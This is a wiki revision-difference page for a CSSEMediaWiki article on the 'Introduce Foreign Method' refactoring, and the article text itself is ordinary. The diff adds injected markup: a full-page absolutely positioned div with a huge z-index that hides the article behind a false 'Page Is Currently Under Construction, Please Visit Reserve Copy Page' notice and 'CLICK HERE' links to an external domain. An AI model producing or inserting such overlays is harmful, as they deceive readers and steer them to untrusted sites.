Introduce Foreign Method
From CSSEMediaWiki
(Difference between revisions)
Brett Ward (Talk | contribs) (Page Outline Added) |
|||
Line 5: | Line 5: | ||
If it becomes the case that a server class needs several foreign methods, or many classes are using the same foreign method, [[Introduce Local Extension]] should be used instead. | If it becomes the case that a server class needs several foreign methods, or many classes are using the same foreign method, [[Introduce Local Extension]] should be used instead. | ||
− | == See Also == | + | >== See Also == |
{{Refactoring}} | {{Refactoring}} | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://uxateja.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://uxateja.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 05:40, 18 November 2010
Sometimes you'll have some brilliant class that is missing a feature or method, but cannot alter the source code. Instead, the lack of method must be coded around.
To do this, you add the method in the client class that would like the functionality from the server class you cannot alter. The method should not access anything in the client class, and send values in as parameters if needed. The first parameter should be the server class.
If it becomes the case that a server class needs several foreign methods, or many classes are using the same foreign method, Introduce Local Extension should be used instead.
>== See Also ==